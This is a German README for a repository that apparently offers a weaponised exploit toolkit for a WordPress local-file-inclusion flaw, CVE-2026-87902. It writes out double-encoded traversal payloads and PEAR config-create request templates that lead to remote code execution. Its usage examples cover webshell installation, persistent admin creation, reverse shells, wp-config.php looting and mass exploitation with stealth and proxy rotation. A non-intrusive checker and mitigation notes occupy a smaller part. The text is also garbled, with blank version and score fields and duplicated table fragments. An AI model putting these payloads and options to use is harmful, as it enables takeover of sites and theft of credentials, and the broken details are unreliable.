
WordPress CVE-2026-87902 LFI-zu-RCE-Toolkit mit einer weaponisierten Exploit-Kette (PEAR RCE, Webshell, Admin-Erstellung, Loot) sowie einer nicht-intrusiven SafeChecker-Version und einem Risiko-Auditor.

NUR ZUR ETHISCHEN VERWENDUNG – AUTORISIERTE SICHERHEITSTESTS
Dieses Repository stellt Tools ausschließlich für autorisierte Sicherheitsexperten, Blue Teams und Penetrationstester bereit.
Unbefugter Zugriff auf Computersysteme ist illegal gemäß CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Türkei) und ähnlichen Gesetzen weltweit.
CVE‑2026‑87902 ist eine kritische unauthentifizierte Path-Traversal- und Local-File-Inclusion-(LFI-)Schwachstelle im (Versionen bis ), die es einem unauthentifizierten Angreifer ermöglicht, beliebige lokale -Dateien über den -Query-Parameter einzubinden und unter bestimmten Serverbedingungen durch Verkettung der PEAR-Datei zu zu eskalieren. CVSS-Score: . Offengelegt von über das HackerOne-Programm von WordPress im Juli 2026. Gepatcht in am 22. September 2026, mit Backports bis hinunter zu 4.7 .
.phppagenamepearcmd.phpDie Schwachstelle betrifft jede WordPress-Version seit 2016 – ein Jahrzehnt von Versionen, die die Code-Review ohne Entdeckung passiert haben. Die Ursache ist ein einzelner fehlender Validierungsaufruf in einem der am häufigsten durchlaufenen Codepfade des CMS .
Unbereinigte Template-Auflösung – get_page_template() in wp-includes/template.php erstellt Template-Kandidaten aus der pagename-Query-Variable. Ein benachbarter Codepfad in derselben Funktion wendet validate_file() an, um ../-Sequenzen zu blockieren, aber der $pagename-Zweig ruft sie nicht auf. Jegliches Traversal in pagename passiert ungeprüft .
Doppelt kodierte Traversal-Umgehung – WordPress wendet sanitize_title_for_query() auf pagename an, was literale Punkte (.) durch Bindestriche ersetzt, um Traversal zu verhindern. Die Funktion arbeitet jedoch mit bereits dekodierter Eingabe und dekodiert nicht rekursiv. Ein Angreifer sendet %252e%252e%252f; der Webserver dekodiert es einmal zu %2e%2e%2f; der Sanitizer sieht keine literalen Punkte und lässt es durch; dann ruft get_page_template() innerhalb der Funktion erneut urldecode() auf, was ../ erzeugt .
Theme-Verzeichnis-Voraussetzung – Das aktive Theme muss ein Verzeichnis auf oberster Ebene enthalten, dessen Name mit page- beginnt (z. B. page-templates/). Der konstruierte Dateiname page-{pagename}.php entkommt dann über das Traversal aus dem Theme-Root. Ältere Standard-Themes (Twenty Twelve, Twenty Fourteen) und beliebte Drittanbieter-Themes (Neve, Hestia, Sydney) liefern dieses Verzeichnis mit. Child-Themes, die von solchen Parents erben, erfüllen die Voraussetzung ebenfalls .
LFI-Sink in locate_template() – Der Kandidatenpfad wird an locate_template() übergeben, das die Theme-Verzeichnisse durchsucht. Da das Traversal zu einer Datei außerhalb dieser Verzeichnisse auflöst und die Funktion nur file_exists() prüft, wird jede lesbare .php-Datei mit vollen Webserver-Privilegien eingebunden. Dies macht die LFI bedingungslos auf jeder ungepatchten Seite, die die Theme-Voraussetzung erfüllt – einschließlich wp-config.php mit seinen Datenbank-Zugangsdaten und Authentifizierungs-Salts .
PEAR pearcmd.php RCE-Eskalation – PEAR wird mit vielen PHP-Installationen ausgeliefert. Sein pearcmd.php ist normalerweise nur für die CLI gedacht, aber wenn register_argc_argv=On, füllt PHP $_SERVER['argv'] aus dem URL-Query-String. Der Angreifer bindet pearcmd.php über die LFI ein, übergibt config-create als Argument und liefert PHP-Code plus einen Ausgabepfad (/tmp/shell.php). PEAR schreibt den Code des Angreifers auf die Festplatte; ein zweites Include führt ihn aus .
Zweiter Ausnutzungsweg – Eine Anfrage, die name (Front-Page-Slug), page_id (Posts-Page-ID), preview=true und eine pagename-Payload kombiniert, leitet WP_Query in seinen post_name-Zweig um, der pagename niemals durch sanitize_title_for_query() umschreibt. Dies erlaubt literale Punkte im Traversal. Erfordert ein Theme ohne single.php .
Server-Konfigurationsanforderungen – RCE hängt von zwei Bedingungen ab, die in realen Deployments häufig vorkommen: pearcmd.php vorhanden/lesbar (häufig bei Shared Hosting, cPanel, offiziellen PHP-Docker-Images) und register_argc_argv=On (Standard in PHP unter 8.5). PHP 8.5 änderte den Standard auf Off. Auf einem modernen PHP 8.5+-Server ohne PEAR stoppt die Ausnutzung bei LFI .
Der Patch – WordPress 7.1.2 fügt zwei Verteidigungsebenen hinzu: (a) den fehlenden validate_file()-Aufruf im pagename-Zweig und (b) eine neue Funktion _wp_is_template_path_allowed(), die von locate_template() für jedes aufgelöste Template aufgerufen wird. Die Funktion lehnt Pfade mit .. ab, löst dann den realen Pfad über realpath() auf und verifiziert, dass er innerhalb eines der erlaubten Theme-Verzeichnisse liegt. Diese Defense-in-Depth schließt den Sink, nicht nur einen Weg dorthin .
Aktive Ausnutzung in freier Wildbahn – Erste bösartige Anfragen wurden 5 Stunden nach Patch-Veröffentlichung beobachtet (17:44 UTC, 22. September 2026). Der Datenverkehr verzehnfachte sich am nächsten Tag. Drei Phasen wurden beobachtet: config-show-Aufklärung → Core-Datei-Erkennung → config-create-Waffenisierung. Payload-Dateinamen umfassten wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, geschrieben nach /tmp und /var/tmp. Angreifer-IPs: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .
Auswirkung – Codeausführung mit Webserver-Privilegien. Vollständige Website-Übernahme, Diebstahl von wp-config.php-Zugangsdaten, Datenexfiltration, Webshell-Installation, Erstellung von Admin-Benutzern, Reverse Shell, Supply-Chain-Angriffe über modifizierte Plugins/Themes und laterale Bewegung in verbundene Dienste. Der CVSS-9.2-Score spiegelt netzwerkausnutzbare, keine Authentifizierung erfordernde, hohe Auswirkungen auf Vertraulichkeit/Integrität/Verfügbarkeit wider. Die hohe Angriffskomplexität spiegelt die Theme- und Server-Voraussetzungen wider, aber auf typischem Shared Hosting sind diese Bedingungen häufig erfüllt.
page-*-Verzeichnis im aktiven Theme um oder entfernen Sie es, setzen Sie register_argc_argv=Off in php.ini und blockieren Sie doppelt kodiertes Traversal im pagename-Parameter auf WAF-Ebene.| Tool | Zweck | Zielgruppe |
|---|---|---|
exploit.py | Vollständiges waffenfähiges Toolkit mit LFI-Erkennung, PEAR-RCE-Kette, Admin-Benutzererstellung, Webshell-Installation, Reverse Shell, Massenscanning, Stealth-Modus, Proxy-Rotation und vollständiger Angriffskette. | Red Teams / autorisierte Pentester |
safecheck.py | Nicht-intrusiver Schwachstellenprüfer, der die WordPress-Version erkennt, die Exposition validiert und das Risiko bewertet, ohne eine Datei einzubinden oder eine Payload auszuführen. Erzeugt JSON-Berichte. | Blue Teams / Sicherheitsauditoren |
| Funktion | exploit.py | safecheck.py |
|---|---|---|
| Schwachstellenerkennung | ✅ | ✅ |
| Versionserkennung | ✅ | ✅ |
Theme-page-*-Verzeichnisprüfung | ✅ | ✅ |
PEAR-pearcmd.php-Erreichbarkeit | ✅ | ✅ |
register_argc_argv-Prüfung | ✅ | ✅ |
| WAF-Verhaltenssonde | ❌ | ✅ |
| Doppelt kodierte LFI-Sonde | ✅ | ❌ |
PEAR-config-create-RCE | ✅ | ❌ |
| Admin-Benutzererstellung | ✅ | ❌ |
| Webshell-Installation | ✅ | ❌ |
| Reverse Shell | ✅ | ❌ |
wp-config.php-Loot | ✅ | ❌ |
| Vollständige Angriffskette | ✅ | ❌ |
| Massenscanning (Multi-Thread) | ✅ | ✅ |
| Proxy-Unterstützung | ✅ | ✅ |
| Proxy-Rotation | ✅ | ❌ |
| User-Agent-Rotation (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Rate Limiter | ✅ | ❌ |
| Nicht-intrusiver (sicherer) Modus | ❌ | ✅ |
| Risikobewertungsbericht | ✅ | ✅ |
| Szenario | Empfohlenes Tool |
|---|---|
| Blue Team – Überprüfung, ob Ihr WordPress anfällig ist | safecheck.py |
| Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung | safecheck.py |
| Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung | exploit.py |
| Bug Bounty – Tests zur verantwortungsvollen Offenlegung | safecheck.py |
| Massenscanning – Überprüfung mehrerer Ziele auf Schwachstellen | exploit.py (nur Erkennung) |
| Incident Response – Überprüfung, ob Systeme kompromittiert wurden | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py-Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne WordPress-Ziel-URL (z. B. http://wordpress.example.com) |
-f, --file | Datei mit Zielliste (eine pro Zeile) für Massenscanning |
--pipe | Ziele von stdin lesen |
--exploit | Ausnutzung nach Erkennung durchführen |
--create-admin | Persistenten Admin-Benutzer erstellen (Format: USER:PASS) |
--webshell | Webshell über RCE installieren |
--reverse-shell | Reverse Shell auslösen (Format: LHOST:LPORT) |
--loot | wp-config.php und andere Dateien auslesen |
--threads | Anzahl der Threads für mehrere Ziele (Standard: 8) |
--timeout | Anfrage-Timeout (Standard: 15s) |
--retry | Maximale Wiederholungsversuche (Standard: 3) |
--proxy | HTTP/HTTPS-Proxy (z. B. http://127.0.0.1:8080) |
--proxy-list | Datei mit Proxys für Rotation (eine pro Zeile) |
--proxy-rotate | Proxy-Rotationsstrategie (round-robin, random, sticky) |
--jitter | Zufälliger Jitter zwischen Anfragen |
--jitter-range | Jitter min,max Sekunden (Standard: 0.1,2.0) |
--delay | Feste Verzögerung zwischen Anfragen |
--stealth | Stealth-Modus aktivieren (UA-Rotation + Jitter) |
--insecure | TLS-Verifikation deaktivieren |
--user-agent |
safecheck.py-Parameter| Parameter | Beschreibung |
|---|---|
-u, --url | Einzelne WordPress-Ziel-URL (z. B. http://wordpress.example.com) |
-f, --file | Datei mit Zielliste (eine pro Zeile) |
--pipe | Ziele von stdin lesen |
-t, --threads | Anzahl der Threads für mehrere Ziele (Standard: 8) |
--timeout | Anfrage-Timeout (Standard: 15s) |
--retry | Maximale Wiederholungsversuche (Standard: 3) |
--proxy | HTTP/HTTPS-Proxy |
--jitter | Zufälliger Jitter zwischen Anfragen |
--jitter-range | Jitter min,max Sekunden (Standard: 0.1,2.0) |
--delay | Feste Verzögerung zwischen Anfragen |
--insecure | TLS-Verifikation deaktivieren |
--user-agent | Benutzerdefinierter User-Agent |
--max-body | Maximale Antwortkörpergröße |
--concurrent-per-host | Maximale gleichzeitige Anfragen pro Host |
--exclude | Kommagetrennte Hosts zum Ausschließen |
-o, --output | JSON-Bericht in Datei speichern (.json, .csv, .html, .jsonl) |
--db | SQLite-Datenbankdatei |
-v, --verbose | Ausführliche Ausgabe |
-q, --quiet | Leiser Modus |
--no-banner | Banner unterdrücken |
| # | Szenario | Befehl |
|---|---|---|
| 1 | Schnelle Schwachstellenprüfung | python safecheck.py -u http://wordpress.example.com |
| 2 | Detaillierter Scan mit Bericht | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Massenaudit aus Datei | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Nur-Erkennungs-Exploit | python exploit.py -u http://wordpress.example.com |
| 5 | wp-config.php-Loot | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Vollständiger Angriff mit Webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Persistenten Admin-Benutzer erstellen | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse Shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Vollständige Angriffskette | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Massen-Exploit mit Stealth | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Proxy-Rotation | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
Der Exploit verwendet die folgenden WordPress-Endpunkte und Ausnutzungsschritte:
| Schritt | Methode | Endpunkt | Beschreibung |
|---|---|---|---|
| 1. Fingerprinting | GET | / | WordPress über wp-content, wp-includes, wp-json erkennen |
| 2. Version | GET | /feed/ | Version über <generator>-Meta extrahieren |
| 3. Seiten-ID | GET | /wp-json/wp/v2/pages | Eine gültige page_id ermitteln |
| 4. Theme-Verzeichnis | GET | /wp-content/themes/{theme}/page-templates/ | page-*-Voraussetzung bestätigen |
| 5. LFI-Sonde | GET | /?page_id={id}&pagename={payload} | Doppelt kodiertes Traversal zum Einbinden einer lokalen Datei |
| 6. PEAR-Include | GET | /?page_id={id}&pagename={pearcmd} | pearcmd.php einbinden |
| 7. PEAR-RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | PHP-Datei über PEAR schreiben |
| 8. Ausführen | GET | /?page_id={id}&pagename={outfile} | Geschriebene Datei einbinden → RCE |
| 9. Persistenz | GET | (über RCE) | Admin-Benutzer / Webshell erstellen |
| 10. Loot | GET | /?page_id={id}&pagename={wp-config} | wp-config.php über LFI lesen |
# Double-encoded traversal example
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# PEAR config-create RCE chain
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# PEAR include trigger
GET /?page_id=2&pagename={encoded_output_path}
Diese Software wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
| Minderungsempfehlungen |
| ❌ |
| ✅ |
| JSON-Bericht | ✅ | ✅ |
| CSV-Bericht | ✅ | ✅ |
| HTML-Bericht | ✅ | ✅ |
| SQLite-Ausgabe | ✅ | ✅ |
| Benutzerdefinierter User-Agent | ✅ | ✅ |
| SSL-Verifikationssteuerung | ✅ | ✅ |
| Benutzerdefinierter User-Agent |
--max-body | Maximale Antwortkörpergröße |
--concurrent-per-host | Maximale gleichzeitige Anfragen pro Host |
--rate-limit | Maximale Anfragen pro Sekunde |
--exclude | Kommagetrennte Hosts zum Ausschließen |
-o, --output | Bericht in Datei speichern (.json, .csv, .html, .jsonl) |
--db | SQLite-Datenbankdatei |
-v, --verbose | Ausführliche Ausgabe |
-q, --quiet | Leiser Modus |
--no-banner | Banner unterdrücken |